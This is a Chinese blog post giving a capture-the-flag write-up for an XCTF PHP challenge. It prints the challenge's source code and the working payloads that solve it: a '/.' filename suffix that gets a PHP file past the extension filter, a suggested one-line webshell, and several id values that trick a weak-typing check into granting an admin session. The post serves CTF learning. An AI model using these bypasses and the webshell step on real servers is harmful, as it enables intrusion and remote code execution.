美文网首页
XCTF工控云管理系统项目管理页

XCTF工控云管理系统项目管理页

作者: doinb1517 | 来源:发表于2021-11-14 07:16 被阅读0次

    工控云管理系统项目管理页面解析漏洞

    题目描述

    工控云管理系统项目管理页面解析漏洞

    题解

    题目页面很炫酷,尝试点击按钮发现出来”业务管理->项目管理“以外其他的都点不了

    01.png 02.png

    尝试随便输入数据,点击提交,发现没反应,但是这边可以查看源码,应该是代码审计的问题,有三部分php代码

    <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>
    

    第一部分简单重定向,直接访问index.php不带page参数就会重定向到?page=flag.php,下图可以清晰看到302重定向

    03.png
    <?php
         if ($_SESSION['admin']) {
           $con = $_POST['con'];
           $file = $_POST['file'];
           $filename = "backup/".$file;
    
           if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
              die("Bad file extension");
           }else{
                chdir('uploaded');
               $f = fopen($filename, 'w');
               fwrite($f, $con);
               fclose($f);
           }
         }
         ?>
    

    这边就是一个文件上传漏洞,对文件名做了一定的过滤,严重通过以后,切换到uploaded目录下,写入backup/XXX,实际就是uploaded/backup/XXX

    这里我尝试了很多方式上传,但是上传的文件很多都不能解析为php,也上传了.htaccess也无法解析,这边使用"/."绕过上传限制

    • con=<?php phpinfo();?>&file=info2.php/.
      
    04.png

    成功上传info2.php 也可以顺利执行,用这种方式再次写入一句话木马即可

    <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]);
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
         ?>
    

    只要if (isset(_GET[id]) && floatval(_GET[id]) !== '1' && substr($_GET[id], -1) === '9')为True,而且下面的sql语句要正确执行,即可得到admin的session ,这边可以使用的方式有很多

    * 使用 ; id=1;9
    * 使用 # id=1%239
    * 使用 --+  id=1--+9
    * sql弱类型 id=1a9
    

    floatval函数用于获取变量的浮点值。 : https://www.runoob.com/php/php-floatval-function.html

    总结

    • Apache PHP解析漏洞
    • sql弱类型

    相关文章

      网友评论

          本文标题:XCTF工控云管理系统项目管理页

          本文链接:https://www.haomeiwen.com/subject/xtwnzltx.html